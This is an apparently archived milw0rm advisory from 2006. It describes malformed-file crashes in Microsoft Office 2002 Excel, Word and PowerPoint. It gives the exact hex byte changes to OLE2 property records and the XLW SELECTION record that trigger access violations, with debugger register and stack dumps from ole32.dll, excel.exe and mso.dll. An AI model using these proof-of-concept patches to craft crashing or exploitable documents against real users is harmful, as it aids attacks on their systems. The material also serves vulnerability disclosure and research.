Full archive at http://www.milw0rm.com/sploits/excel_03262006.rar

Topic : Microsoft Office 2002 - Excel/Powerpoint/Word… 10.0.2614.0 => 11.0.5612.0
Date : 02/12/2006
Author : posidron <[email protected]>

Table of Contens

• Some Excel Information
• The XLS File Format and Observation
• The XLW File Format and Observation
• Powerpoint and Word Dump Additions
• Conclusion
• References

Some Excel Information

• Microsoft Excel uses the BIFF (Binary Interchange File Format)
• in Excel 8.0 (Excel 97), BIFF8 was introduced
• in Excel 10.0 (Excel XP), BIFF8X was introduced
• Excel 97 and Excel 2000 can read BIFF8X, except new features added with Excel XP.

Since BIFF5, all data is saved in OLE2 Storage Format/Structured Storage, which
can contain streams and storages.

A BIFF record is builded as follows:

Offset Size Contents
0 2 Identifier }
2 2 Size of the following data (sz) } Record header
4 sz Data

The XLS File Format

If we open an Excel .xls workbook document with a hexeditor, we can see the
below block of records, which exists multiple times within an Excel document.

(Offsets are hexadecimal)

orig.xls

Offset 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
00001200 FE FF 00 00 05 01 02 00 00 00 00 00 00 00 00 00 þÿ…
00001210 00 00 00 00 00 00 00 00 01 00 00 00 E0 85 9F F2 …à…ò
00001220 F9 4F 68 10 AB 91 08 00 2B 27 B3 D9 30 00 00 00 ùOh.«…+'³Ù0…
00001230 B0 00 00 00 07 00 00 00 01 00 00 00 40 00 00 00 °…@…
00001240 04 00 00 00 48 00 00 00 08 00 00 00 60 00 00 00 …H…`…

If we change the second line from
00001210 00 00 00 00 00 00 00 00 01 00 00 00 E0 85 9F F2 …à…ò
to
00001210 00 00 00 00 00 00 00 00 FF FF FF FF E0 85 9F F2 …à…ò
we get an 'Access Violation' in OLE32.DLL after opening the dcument in Excel.

(ole32.dll)
774D66B6 8B73 0C MOV ESI,DWORD PTR DS:[EBX+C]
774D66B9 8B4D 10 MOV ECX,DWORD PTR SS:[EBP+10]
774D66BC 8B7D 0C MOV EDI,DWORD PTR SS:[EBP+C]
774D66BF 03F0 ADD ESI,EAX
774D66C1 8BC1 MOV EAX,ECX
774D66C3 C1E9 02 SHR ECX,2
774D66C6 F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI] <==

ECX=00000369 (decimal 873.)
DS:[ESI]=[001B24F4]=00000000
ES:[EDI]=[00924000]=???

ESP ==> 0013786C 00923AE0
EBP-8 00137870 00923AE4
EBP-4 00137874 00923ADC
EBP ==> 00137878 /001378AC
EBP+4 0013787C |30C12D83 RETURN to mso.30C12D83
EBP+8 00137880 |001B32A8
EBP+C 00137884 |00923DC0
EBP+10 00137888 |00000FE4

EAX 00000FE4
ECX 00000369
EDX 00150608
EBX 001AE948
ESP 0013786C
EBP 00137878
ESI 001B24F4
EDI 00924000
EIP 774D66C6 OLE32.774D66C6

We found this block of records two times in an empty Excel document. I haven't
found an exact explanation about these records. It could be, that the record
FFFE defines the sheet range. More in the OpenOffice reference link on site 100.

The XLW File Format

If we open an Excel .xlw Workbook document with a hexeditor, we can see the
below sequence of records, which exists multiple times within an Excel document.

(Offsets are hexadecimal)

orig.xlw

Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F
00000110 38 00 04 00 01 00 10 00 3D 00 0A 00 68 01 87 00 8…=…h…
00000120 8C 28 8D 18 04 00 3E 02 0A 00 B6 00 00 00 00 00 .(�…>…¶…
00000130 00 00 00 00 1D 00 0F 00 03 00 00 00 00 00 00 01 …
00000140 00 00 00 00 00 00 00 0D 00 02 00 01 00 0C 00 02 …
00000150 00 64 00 0F 00 02 00 01 00 11 00 02 00 00 00 10 .d…

If we change the third and fourth line from
00000130 00 00 00 00 1D 00 0F 00 03 00 00 00 00 00 00 01 …
00000140 00 00 00 00 00 00 00 0D 00 02 00 01 00 0C 00 02 …
to
00000130 00 00 00 00 1D 00 0F 00 03 00 00 00 00 00 00 FF …
00000140 FF FF FF 00 00 00 00 0D 00 02 00 01 00 0C 00 02 …
we got an 'Access Violation' in excel.exe after opening the ducument in Excel.

Examine dump at offset: 00000110+8

WINDOW1   | 04 Bytes | 3D 00 0A 00
WINDOW1   | 10 Bytes | 68 01 87 00 8C 28 8D 18 04 00
WINDOW1   | 04 Bytes | 3E 02 0A 00
WINDOW2   | 10 Bytes | B6 00 00 00 00 00 00 00 00 00
SELECTION | 04 Bytes | 1D 00 0F 00
SELECTION | 15 Bytes | 03 00 00 00 00 00 00 01 00 00 00 00 00 00 00

About the SELECTION record (00 1D):

Offset  Size 	Contents
     0     1 	Pane identifier
     1     2 	Index to row of the active cell
     3     2 	Index to column of the active cell
     5     2        Index into the following cell range list
                    to the entry that contains the active cell
     7     variable Cell range address list containing all selected
                    cell ranges. Column indexes are always 8-bit values.

This record contains the addresses of all selected cell ranges and the
position of the active cell for a pane in current sheet. It is part of
the "Sheet View Settings Block". There is one SELECTION record for each
pane in the sheet. 

excel.exe

30028546 C2 0800 RETN 8
30028549 8B4424 04 MOV EAX,DWORD PTR SS:[ESP+4]
3002854D 8B15 484E7D30 MOV EDX,DWORD PTR DS:[307D4E48]
30028553 56 PUSH ESI
30028554 57 PUSH EDI
30028555 66:8B40 06 MOV AX,WORD PTR DS:[EAX+6] <==
30028559 8B7C24 10 MOV EDI,DWORD PTR SS:[ESP+10]
3002855D 25 FF0F0000 AND EAX,0FFF
30028562 8D0C40 LEA ECX,DWORD PTR DS:[EAX+EAX2]
30028565 8B42 10 MOV EAX,DWORD PTR DS:[EDX+10]
30028568 8D34C8 LEA ESI,DWORD PTR DS:[EAX+ECX8]
3002856B B9 05000000 MOV ECX,5
30028570 F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS>
30028572 5F POP EDI
30028573 5E POP ESI
30028574 C2 0800 RETN 8

DS:[01642A72]=???
AX=2A6C

EAX 01642A6C
ECX 00000015
EDX 015C15DC
EBX 00000001
ESP 00136964
EBP 00136B00
ESI 00007979
EDI 00000000
EIP 30028555 EXCEL.30028555

ESP ==> 00136964 00000000
ESP+4 00136968 00007979
ESP+8 0013696C 30027795 RETURN to EXCEL.30027795 from EXCEL.30028549
ESP+C 00136970 01642A6C
ESP+10 00136974 001369A4
ESP+14 00136978 00000001
ESP+18 0013697C 00000000
ESP+1C 00136980 00000000
ESP+20 00136984 77D1BC7D USER32.GetWindow
ESP+24 00136988 00AB0208
ESP+28 0013698C 00000000
ESP+2C 00136990 7FFDF000
ESP+30 00136994 00000058
ESP+34 00136998 00000053
ESP+38 0013699C 0000059B
ESP+3C 001369A0 00000023
ESP+40 001369A4 001369CC
ESP+44 001369A8 77D4F160 RETURN to USER32.77D4F160 from USER32.77D318A2
ESP+48 001369AC 00040000
ESP+4C 001369B0 00000000
ESP+50 001369B4 77EF7AB2 RETURN to GDI32.77EF7AB2

In the SELECTION record, it's regardless which offset address we overwrite
to produce an exception. If we play with the values/offsets in the SELECTION
record, we get many different results.

Another example:

SELECTION | 04 Bytes | 1D 00 0F 00
SELECTION | 15 Bytes | 03 00 00 00 00 00 00 FF FF FF FF FF FF 00 00

(mso.dll)
30B1BCEA 66:8955 00 MOV WORD PTR SS:[EBP],DX
30B1BCEE 66:8975 02 MOV WORD PTR SS:[EBP+2],SI
30B1BCF2 66:892F MOV WORD PTR DS:[EDI],BP
30B1BCF5 66:897428 FE MOV WORD PTR DS:[EAX+EBP-2],SI <==
30B1BCFA 8B4424 18 MOV EAX,DWORD PTR SS:[ESP+18]
30B1BCFE 5B POP EBX

EAX 00006F24
ECX 00006000
EDX 00000DDC
EBX 000007ED
ESP 0013FCF4
EBP 015C0DE0
ESI 00006F24
EDI 015C0000
EIP 30B1BCF5 mso.30B1BCF5

SI=6F24
DS:[015C7D02]=???

ESP ==> 0013FCF4 00000000
ESP+4 0013FCF8 00000000
ESP+8 0013FCFC 30B1BBB0 mso.__MsoPvFree@8

For the completeness Powerpoint and Word which have the same structure as in
the .xls file format.

Microsoft Word

Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F
00002400 FE FF 00 00 05 01 02 00 00 00 00 00 00 00 00 00 þÿ…
00002410 00 00 00 00 00 00 00 00 01 00 00 00 E0 85 9F F2 …à…ò
00002420 F9 4F 68 10 AB 91 08 00 2B 27 B3 D9 30 00 00 00 ùOh.«…+'³Ù0…
to
Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F
00002400 FE FF 00 00 05 01 02 00 00 00 00 00 00 00 00 00 þÿ…
00002410 00 00 00 00 00 00 00 00 FF FF FF FF E0 85 9F F2 …à…ò
00002420 F9 4F 68 10 AB 91 08 00 2B 27 B3 D9 30 00 00 00 ùOh.«…+'³Ù0…
Results in an 'Access Violation'.

AppName: winword.exe AppVer: 10.0.2627.0 ModName: mso.dll
ModVer: 10.0.2625.0 Offset: 0001b411

Microsoft Powerpoint

Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F
00001A00 FE FF 00 00 05 01 02 00 00 00 00 00 00 00 00 00 þÿ…
00001A10 00 00 00 00 00 00 00 00 01 00 00 00 02 D5 CD D5 …ÕÍÕ
00001A20 9C 2E 1B 10 93 97 08 00 2B 2C F9 AE 30 00 00 00 …+,ù®0…
to
00001A00 FE FF 00 00 05 01 02 00 00 00 00 00 00 00 00 00 þÿ…
00001A10 00 00 00 00 00 00 00 00 FF FF FF FF 02 D5 CD D5 …ÕÍÕ
00001A20 9C 2E 1B 10 93 97 08 00 2B 2C F9 AE 30 00 00 00 …+,ù®0…
Results in an 'Access Violation'.

AppName: powerpnt.exe AppVer: 10.0.2623.0 ModName: mso.dll
ModVer: 10.0.2625.0 Offset: 0011300d

References

Excel File Format Structure (http://sc.openoffice.org/excelfileformat.pdf&#41;

milw0rm.com [2006-03-27]